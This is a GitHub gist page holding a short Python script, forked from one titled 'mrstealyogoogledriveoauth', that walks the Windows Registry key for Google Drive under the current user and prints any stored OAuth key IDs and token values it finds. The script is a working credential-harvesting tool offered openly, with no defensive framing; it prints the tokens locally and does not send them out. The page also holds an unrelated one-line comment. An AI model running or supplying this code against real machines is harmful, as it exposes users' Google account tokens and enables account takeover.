Skip to content

Instantly share code, notes, and snippets.

@maxrp
Forked from anonymous/mrstealyogoogledriveoauth.py
Last active August 24, 2017 23:01
Show Gist options
  • Save maxrp/71894abf334f00b2170f1a50bdad76e8 to your computer and use it in GitHub Desktop.
Save maxrp/71894abf334f00b2170f1a50bdad76e8 to your computer and use it in GitHub Desktop.
Retrieve google drive OAuth token from the Windows Registry
from winreg import ConnectRegistry, OpenKey, EnumValue, HKEY_CURRENT_USER
TARGET_KEY = r'SOFTWARE\Google\Drive'
def main():
with ConnectRegistry(None, HKEY_CURRENT_USER) as wr:
GdriveKey = OpenKey(wr, TARGET_KEY)
i = 0
while True:
try:
k, v, _ = EnumValue(GdriveKey, i)
if 'OAuth' in k:
print("Found OAuth token:\n\tOAuth Private Key ID={}\n\tOAuth Key={}".format(k.split("_")[1], v))
except:
break
else:
i += 1
if __name__ == '__main__':
main()
@mharvey
Copy link

mharvey commented Aug 24, 2017

die-cut-stickers

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment